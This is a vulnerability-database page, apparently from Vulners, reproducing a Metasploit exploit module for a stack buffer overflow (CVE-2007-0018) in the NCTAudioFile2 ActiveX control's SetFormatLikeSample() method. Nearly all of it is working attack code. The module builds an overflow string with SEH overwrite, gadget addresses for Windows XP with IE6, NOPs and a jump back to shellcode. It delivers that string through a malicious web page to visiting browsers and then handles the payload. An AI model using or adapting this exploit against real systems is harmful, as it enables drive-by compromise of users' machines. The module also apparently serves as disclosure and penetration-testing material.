NCTAudioFile2 2.x - ActiveX Control SetFormatLikeSample() Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

NCTAudioFile2 2.x - ActiveX Control SetFormatLikeSample() Buffer Overflow exploi


                                                ##
# $Id: nctaudiofile2_setformatlikesample.rb 9668 2010-07-03 01:38:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in the NCTAudioFile2.Audio ActiveX
				Control provided by various audio applications. By sending a overly long
				string to the &#34;SetFormatLikeSample()&#34; method, an attacker may be able to
				execute arbitrary code.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;MC&#39;, &#39;dookie&#39;, &#39;jduck&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9668 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2007-0018&#39; ],
					[ &#39;OSVDB&#39;, &#39;32032&#39; ],
					[ &#39;BID&#39;, &#39;22196&#39; ],
					[ &#39;US-CERT-VU&#39;, &#39;292713&#39; ],
					[ &#39;URL&#39;, &#39;http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html&#39; ]
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 2048,
					&#39;BadChars&#39;      =&#62; &#34;\x00\x09\x0a\x0d&#39;\\&#34;,
					&#39;PrependEncoder&#39; =&#62; &#34;\x81\xc4\xff\xef\xff\xff\x44&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					# tested with:
					#
					# BearShare 6.0.2.26789 (NCTAudioFile2.dll v2.5.7.514)
					# BearShare 6.0.0.22717 (NCTAudioFile2.dll v2.5.7.514)
					# Magic Audio Editor Pro v10.3.11 (NCTAudioFile2.dll v2.6.1.643)
					# Magic Audio Editor Pro v10.3.15.1 (NCTAudioFile2.dll v2.6.1.643)
					#
					[ &#39;Windows XP SP2/SP3 Pro English (IE6)&#39;,
						{
							&#39;PopPopRet&#39; =&#62; 0x746C15A9, # p/p/r in msls31.dll (ie6)
							&#39;jmp esp&#39; =&#62; 0x774699bf, # user32.dll (xp sp2 and sp3)
						}
					],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jan 24 2007&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# dual targeting super fun..
		sploit = p.encoded
		sploit &#60;&#60; rand_text_alpha(4100 - p.encoded.length)

		# if seh is triggered, we&#39;ll use a pop/pop/ret
		seh = generate_seh_record(target[&#39;PopPopRet&#39;])
		sploit &#60;&#60; seh

		# padding
		sploit &#60;&#60; make_nops(16 - seh.length)

		# otherwise, we need to jump to the stack
		sploit &#60;&#60; [target[&#39;jmp esp&#39;]].pack(&#39;V&#39;)
		sploit &#60;&#60; make_nops(32)

		# jump back to the payload :)
		sploit &#60;&#60; Metasm::Shellcode.assemble(Metasm::Ia32.new, &#34;jmp $-0x1000&#34;).encode_string

		# try to ensure SEH is triggered..
		sploit &#60;&#60; rand_text_alpha(1000) * 18

		# Build out the message
		content = %Q|
&#60;html&#62;
&#60;body&#62;
&#60;object classid=&#39;clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC&#39; id=&#39;#{vname}&#39;&#62;&#60;/object&#62;
&#60;script language=&#39;javascript&#39;&#62;
var #{vname} = document.getElementById(&#39;#{vname}&#39;);
var #{strname} = new String(&#39;#{sploit}&#39;);
#{vname}.SetFormatLikeSample(#{strname});
&#60;/script&#62;
&#60;/html&#62;
|

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1